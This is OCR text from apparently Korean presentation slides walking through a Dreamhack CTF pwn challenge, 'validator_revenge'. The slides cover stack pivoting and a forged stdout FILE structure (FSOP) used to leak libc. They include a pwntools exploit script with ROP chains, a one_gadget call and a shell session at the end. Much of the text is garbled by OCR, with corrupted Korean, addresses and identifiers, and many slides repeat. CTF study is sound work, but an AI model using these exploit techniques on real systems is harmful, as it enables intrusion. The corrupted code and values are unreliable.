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amdé4-64-11ttle
FULl RELRO

No canary tound
NX enabled
No PIE (Ox400000)




64H|E 2T HA|

I—I

M E8E

amdé4-64-11ttle
FULL RELRO

NOo canary ftound
NX enabled
No PIE (Ox400000)
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amdé4-64-11ttle
FULl RELRO

No canary tound
NX enabled
No PIE (Bx400000)
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call f@Dit

=N 8=

PLT

mov r, f@got

jmp r

GOT
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chan@DESKTOP-PE9G5L9: /mnt/c/Users/Heechan/Downloads/validator_revenge$ ./validator_revenge
aaa
chan@DESKTOP-PE9G5L9: /mnt/c/Users/Heechan/Downloads/validator_revenge$ |
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Return-Oriented Programming (ROP)2
7|Z2| Code Injection &0 7|21 NX(Non-Executable) HHES
L3|517| @$t TE A2 2 J7|H,
I = 240f| 0|0] =XHSt= Gadget(7H3)E =850,
Shellcode &3l gl0| A|ARIS H|Ojot= 7| HRL|CY.
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./validator_revenge
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read( O, buf A 8)
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RDI

W

read( O, buf A 8)
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RSI

W

read( O, buf A 8)
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RDX

N 4

read( O, buf A 8)
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fake stack1 fake stack1 fake stack1

fake stack2

<«——RBP, RSP - SISSL
fake stack1 fake stacki fake stack1

read@pit

read@plit read@plt read@plt
———— | ————— | ersp——tt—— RSP -
leave-ret leave-ret | leave-ret ' leave-ret




fake stack1 fake stack2 fake stack fake stack2
«——RBP, RSP

fake stack2 fake stack2

e RSP

i

| FAL |
fake stack1 | fake stack1 " l

read@plt read@plt read@pit read@plt

leave-ret | leave-ret | leave-ret | leave-ret




fake stack1 fake stack2 fake stack fake stack2
«——RBP, RSP

fake stack2 fake stack2

e RSP

i

| FAL |
fake stack1 | fake stack1 " l

read@plt read@plt read@pit read@plt

leave-ret | leave-ret | leave-ret | leave-ret




fake stack1

read@plt

leave-ret

fake stack1

fake stack2

read@plt

leave-ret

fake stack2

fake stacki1

read@plt

leave-ret

fake stack1

fake stack2

fake stack2
— <«—— RBP

0

"/bin/sh"

system




fake stack1

read@plt

leave-ret

fake stack1

fake stack2

read@plt

leave-ret

fake stack2

fake stacki1

read@plt

leave-ret

fake stack1

fake stack2

fake stack2
— <«—— RBP

0

"/bin/sh"

system




fake stack1

read@plt

leave-ret

fake stack1

fake stack2

read@plt

leave-ret

STACKPIVOTING

fake stack2

0

"/bin/sh"

system

<«——RBP, RSP

fake stacki1

read@pit

leave-ret

fake stack1

fake stack2

read@plt

leave-ret

fake stack2

0

"/bin/sh™

system

X



fake stack1

read@plt

leave-ret

fake stack1

fake stack2

read@plt

leave-ret

fake stack2

0

“/bin/sh"

system
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File Stream Oriented Programming (FSOP)2
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__fastcall main(__int64 al, char **a2, char **33)

char s[128]; // [rsp+6h] [rbp-808h] BYREF

sub_400699(al, a2, a3);

memset(s, @, sizeot(s));
read(9, s, 0x400ulLl);
sub_4006DC(s, 128LL);
fflush(stdout);

return OLL;




int sub_400699()
{

setvbuf(stdin, OLL, 2, OLL);
return setvbuf(stdout, OLL, 2, OLL);

}




1
P
3
4
5
6
-
8
9

=
= ®

H I

__fastcall main(__int64 al, char **a2, char **33)

char s[128]; // [rsp+6h] [rbp-808h] BYREF

sub_400699(al, a2, a3);

3

fflush(stdout);
return OLL;

}
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__fastcall main(__int64 al, char **a2, char **33)
char s[128]; // [rsp+6h] [rbp-808h] BYREF

sub_400699(al, a2, a3);
memset(s, 0, sizeof(s));
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return OLL;
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__inte4 _ fastcall sub 4006DC(__int64 al, _ int64 a2)

{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]

-For‘(i=0_;i<=93++i)
{
if ( *(i + al) != aDreamhack[i] )
exit(9);
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if ( *(J + al1) != *(J + 1LL + a1) + 1)
exit(9);
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}

return OLL;
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}

int64 _ fastcall sub 4006DC(__int64 al,  int64 a2)

unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]

for (1 =0; 1<=9; ++i )
{
GG OEY aDreamhack
exit(9);

if ( *(J + al1) != *(J + 1LL + a1) + 1)
exit(9);
}

return OLL;




__inte4 _ fastcall sub 4006DC(__int64 al, _ int64 a2)

{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]

-For‘(i=0_;i<=93++i)
{
if ( *(i + al) != aDreamhack[i] )
exit(9);
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for ( j =11; j < (a2 - 190); ++] )
{

=
w N

if ( *(J + al1) != *(J + 1LL + a1) + 1)
exit(9);
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__inte4 _ fastcall sub 4006DC(__int64 al, _ int64 a2)

{
unsigned int i; // [rsp+1Ch] [rbp-4h]
int j; // [rsp+1Ch] [rbp-4h]

-For‘(i=0_;i<=93++i)
{
if ( *(i + al) != aDreamhack[i] )
exit(9);

for ( j =11; j < (a2 - 190); ++] )
{
if ( *() + a1) 1=*(j + 1LL + a1) + 1 )
exit(9);
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}

__fastcall main(__int64 al, char **a2, char **33)
char s[128]; // [rsp+6h] [rbp-808h] BYREF

sub_400699(al, a2, a3);
memset(s, 0, sizeof(s));
read(9, s, Ox400ull);

2 BLL);

fflush(stdout);

retcurn

=HHINE H|=S0l| A2
fflush 4= stdout XIS AR



I0 fflush ( IO FILE =fp)

I0 flush all ();

’

1int result;

CHECK_FILE (fp, -
I0_acquire_lock (fp);
result = _IO_SYNC (fp)
I0_release_lock (fp);

return result;



I0 fflush ( IO FILE =fp)

I0 flush all ();

’

1int result;

CHECK_FILE (fp, -
I0_acquire_lock (fp);
result = _IO_SYNC (fp)
I0_release_lock (fp);

.

return result;

int

I0_new_do_write (_IO_FILE ISt char ~data,

(to_do ==

(_I0 size t) new do write (fp, data,

libc hidden ver ( IO new do write, IO do write

_I0_size_t

to do)




nt

I0_fflush (_IO_FILE =fp)

)
I0 flush all ();

1int result;

CHECK_FILE (fp, );
I0 acquire lock (fp);
result = _IO_SYNC (fp)
I0_release_lock (fp);

return result;

new_do_write (_IO_FILE «~fp, const char ~data, _IO_size_t to_do)

(to_do ==

(_I0_size_t) new_do_write (fp, data, to_do) to_do)

libc hidden ver ( IO new do write, IO do write)

I0_new_file_sync (_IO_FILE »fp)

1f (fp I0_write_ptr fp I0_write
2 & f sh(fp)) return

delta fp I0_read_ptr fp

1f (delta )

)_in_backup (fp))
Gptr () - Gbase ();

0 off64_t new _pos = _I0_SYSSEEK

V_pos (_IO_off64_t) )

I0 read end fp I0_read ptr;
(errno ESPIPE)

I0 _pos_BAD;

(fo
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1 1 1(
I0_size_t
I0 fflush ( IO FILE *fp new_do_write (_IO_FILE #fp, const char data, _IO_size_t to_do)
{

nt

I0 size t count;
' if (fp->_flags & _I0_IS_APPENDING)
I0 flush all

1int result;
CHECK FILE (fp, offset I0 pos _BAD;
I0 acquire lock ( if (fp->_I0_read _end != fp->_I0 _write_base)
result = I0 SYNC .
' I0 off64 _t new pos

I0_release_lock ( = IO _SYSSEEK (fp, fp I0 write base fp I0 read end, 1);
return result; if (new_pos == _I0 _pos_BAD)
return -
fp->_offset = new_pos;
5
count IO _SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp cur_column I0_adjust_column (fp->_cur_column , data, count)
I0_setg (fp, fp I0 buf _base, fp->_I0 buf base, fp->_I0 buf _base);
fp-> I0 write base fp-> I0 write ptr fp-> I0 buf base;
fp-> I0 write end (fp-> mode
56 (fp->_flags & (_IO_LINE_BUF IO UNBUFFERED))
fp-> I0 buf base : fp I0 buf end);

do_write (_IO_F

(to_do ==
_ count;
(_I0 size t) new do _write

libc hidden ver ( IO new do write,
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tic
I0_size_t
I0 fflush ( IO FILE *fp new_do_write (_IO_FILE #fp, const char data, _IO_size_t to_do)
{
I0_size_t count;

/ if (fp->_flags & _I0_IS_APPENDING)
IO flush all

1int result;
CHECK FILE (fp, offset I0 pos _BAD;
I0 acquire lock ( else if (fp->_I0_read_end != fp->_I0_write_base)
result = I0 SYNC .
' I0 off64 _t new pos

I0_release_lock ( = IO _SYSSEEK (fp, fp I0 write base fp I0 read end, 1);

return result; 1f (new_pos == _I0_pos_BAD)
: rn 0:

»_offset = new_pos;

count IO _SYSWRITE (fp, data,
fp cur_column I0_adjust_column (fp->_cur_column , data, count)

I0_setg (fp, fp I0 buf _base, fp->_I0 buf base, fp->_I0 buf _base);
fp-> I0 write base fp-> I0 write ptr fp-> I0 buf base;

ik fp-> I0 write end (fp-> mode

_10_new_do_write (_IO _FILE + ~ONSt i 56 (fp->_flags & (_IO_LINE_BUF I0_UNBUFFERED))

5 fp-> I0 buf base : fp I0 buf end);

(to_do ==

_ count;
(_I0 size t) new do _write

libc hidden ver ( IO new do write,
















stdoutE C

) stdout

stdin

byte 681038

nt para public 'B55' usefd

assume othing, ss:nothing, ds:

dg ?

; Copy of
al lgn 1at
public stdin

A

d L I

_data, fs:nothing, gs:nothing

shared data

shared data




0| stdout ZEM|K] A2{H rsi QX0 stdout 2EXN|2] HX|FATt S0{710Fet
SHX|Bt pop rsi + 0x601020 S MH XN E EZSH=H| O
0x601020 2tof] /= stdout A7} CHE 4fo = HEl



2 M= stack pivoting



POP RSI

STDOUT

PAYLOAD




ROP 2 stdout T0{| POP RSI 7%l
LIHX| HO|Z2=F Addol=



0x0000000000400873 # pop rdi; ret
pop_rsi 0x000000000040068b # pop rsi; ret
pop_rdx 0x0000000000400694 # pop rdx; ret
leave_ret = 0x000000000040079b
ret = 9x400292
pop_rbp = 0x0000000000400608
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payload = b'DREAMHACK!' # 18 E EXE

=
W N

# HO|2Z=0| 7150l HIO|E F7t (118%H o7}X|)
for i in range(118, 0, -1):
payload += i.to _bytes(1l, byteorder='little’)

(R
(© 2 [N =N
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stdout = p64(0xfbadl1800) + b"\x00"*25

0x0000000000400873 # pop rdi; ret
0x000000000040068b # pop rsi; ret
0x0000000000400694 # pop rdx; ret
= 0x000000000040079b

payload = b'DREAMHACK!' # 18 E EXE

# HO|Z2=0f| =7tXQl HIO|E =7} (118FEH o7}X])
for i in range(118, 0, -1):
payload += i.to _bytes(1l, byteorder='little’)
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stdout = p64(0xfbadl1800) + b"\x00"*25

# ROP 7}

pop_rdi = 0x0000000000400873 # pop rdi; ret
pop_rsi = 0x000000000040068b # pop rsi; ret
pop_rdx = 0x0000000000400694 # pop rdx; ret
leave_ret = 0x000000000040079b

ret = 9x400292

pop_rbp = 0x0000000000400608

payload = b'DREAMHACK!' # 18 E EXE
# HO|20| =7tFQl HIO|E F7 (118FH o7tX|)

for i in range(118, 0, -1):
payload += i.to _bytes(1l, byteorder='little’)




payload p64(9x601010)

payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601018) p64(pop_rdx) p64(8) + p64(e.plt['read’'])
payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601628) p64 (pop_rdx) p64(8) + p64(e.plt['read’'])
payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601030) p64(pop_rdx) p64(8) + p64(e.plt['read’'])
payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601038) p64(pop_rdx) p64(144) + p64(e.plt['read’'])
payload p64(leave_ret)

p.send(payload)

p.send(p64(pop_rsi)) # o0x601018

p.send(ped4(pop_rdx)) # 0x601628

p.send(p64(len(stdout))) # 6x661030

payloadl = p64(pop_rdi) + p64(©) + p64(pop_rsi) + p64(0x601018) + p6d4(pop_rdx) + p64(8) + p6d(e.plt[ 'read’])
payloadl += p64(pop_rdi) + p64(®) + p6d4(pop_rsi) + p64(0x601028) + p64(pop_rdx) + p64(504) + ped(e.plt['read’])
payloadl += p64(pop_rbp) + p64(0x601010) + p64(leave_ret)

p.send(p64(e.plt[ 'read’])+payloadl) # Ox601638
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payload p64(9x601010)

payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601018) p64(pop_rdx) p64(8) + p64(e.plt['read’'])
payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601628) p64 (pop_rdx) p64(8) + p64(e.plt['read’'])
payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601030) p64(pop_rdx) p64(8) + p64(e.plt['read’'])
payload p64(pop_rdi) + p64(0) p64(pop_rsi) p64(0x601038) p64(pop_rdx) p64(144) + p64(e.plt['read’'])
payload p64(leave_ret)

p.send(payload)

p.send(p64(pop_rsi)) # o0x601018

p.send(ped4(pop_rdx)) # 0x601628

p.send(p64(len(stdout))) # 6x661030

payloadl = p64(pop_rdi) + p64(©) + p64(pop_rsi) + p64(0x601018) + p6d4(pop_rdx) + p64(8) + p6d(e.plt[ 'read’])
payloadl += p64(pop_rdi) + p64(®) + p6d4(pop_rsi) + p64(0x601028) + p64(pop_rdx) + p64(504) + ped(e.plt['read’])
payloadl += p64(pop_rbp) + p64(0x601010) + p64(leave_ret)

p.send(p64(e.plt[ 'read’])+payloadl) # Ox601638
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read(0,stdout, len(stdout)) Sis

POP RSI STDOUT POP RDX | LEN e.plt['read’]] PAYLOAD1
(STDOUT)

STDOUT FZ&HM[0f]| A= &2




00
p.send(stdout)

p.send(p64(pop rdi)) # 6x601018

sleep(1)

payload2 = p64(ret)*50+p64(e.plt[ ' fflush']) + p64(ret) + p64(ret)

# fflush & 2=AIZ2M S8 FYO0| write 75Tt EFHO|C{0F SHA ret= 50H EOF

payload2 += p64(pop_rdi) + p64(9) + p64(pop rsi) + p64(©x601308) + p64(pop _rdx) + p64(64) + p64d(e.plt['read’'])
payload2 += p64(pop_rbp) + p64(0x601300) + p64(leave ret) # =0| ox601300 22 7t O|F= 7H = SHxF2 0
p.send(payload2)
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p.send(stdout)

= [

p.send(p64(pop rdi)) # 6x601018

payload2 = p64(ret)*50+p64(e.plt[ 'fflush']) + p64(ret) + p64(ret)

# fflush & SEAIZMf S FH0| write 7ttt EHO|0IOF A ret2 5ol EO|F

payload2 p64(pop_rdi) + p64(0) + p64(pop rsi) + p64(06x601308) + pb64(pop rdx) + p64(64) + pb6d(e.plt['read'])
payload2 p64(pop_rbp) + p64(0x601300) + p64(leave_ret)

p.send(payload2)
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p.send(stdout)
sleep(1)
p.send(p64(pop_rdi)) # 0x601018

payload2 = p64(ret)*50+p64(e.plt[ 'fflush']) + p64(ret) + p64(ret)

# fflush & SEAIZM EX HYO| write 758t H0|0{0fF SHA retS setH HOF

payload2 += p64(pop_rdi) + p64(0@) + p64(pop rsi) + p64(0x601308) + p64(pop rdx) + p64(64) + p64(e.plt['read'])
payload2 += p64(pop_rbp) + p64(9x601300) + p64(leave ret)
p.send(payload2)

12 fflush & SS9l A Libcg =T
CEA[SHEH 0x601300 EHLE stack pivoting
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chan@DESKTOP-PE9G5L9: /mnt/c/Users/Heechan/Downloads/validator_revenge$ one_gadget ./libc-2.27.so
Ox4f35e execve("/bin/sh", rsp+0xd4®, environ)
constraints:

address rsp+0x50 is writable

rsp & Oxf ==

rcx == NULL || {recx, "-c", rl2, NULL} is a valid argv

Ox4f365 execve("/bin/sh", rsp+0xd40, environ)
constraints:

address rsp+0x50 is writable

rsp & Oxf ==

rcx == NULL || {rcx, rax, rl2, NULL} is a valid argv

IxUf3c2 execve("/bin/sh", rsp+0xid®, environ)

onstraints:
[rsp+0xu40] == NULL || {[rsp+0xu0], [rsp+0xu8], [rsp+0x50], [rsp+0x58], ...} is a valid argv

©@x10ald5c execve("/bin/sh", rsp+0x7@, environ)
constraints:

[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv



for i in range(18):
print(hex(u64(p.recv(8))))

leak libc= u64(p.recv(8))

libc base

leak 1libc - 3 + 104 - libc.symbols|[ 'stdout’]

print(f'libc_base = {hex(1libc_base)}")

Ho| Al ot s 8



0\xe3\xf7\x94\x07 | \x7f\x00\x00\xe3\xf7\x94\x07 | \x71\x00\x00\xe3\xf7\x94\x07 | \x7f\x00\x00\xed\xf7\x94\x07 | \x7{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00'\ x00\ x00\ x00\ x00\ x00\x00\x00\ x00\ x00\ 00\ x00\ x00\x00\ xea\x94\x07 | \x7{\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00 \xf \x \x \xf \x\x{\xf{\xff\xo0\xo0\xo00s I




libc base = 0x71d88807beoo




p.send(p64(gadget))
p.interactive()

[I=E]




b
k=l

libc base = @x71d88807booo

[*] Switching to interactive mode
$ whoami

validator revenge

$ 1s

flag

validator revenge




Q&A
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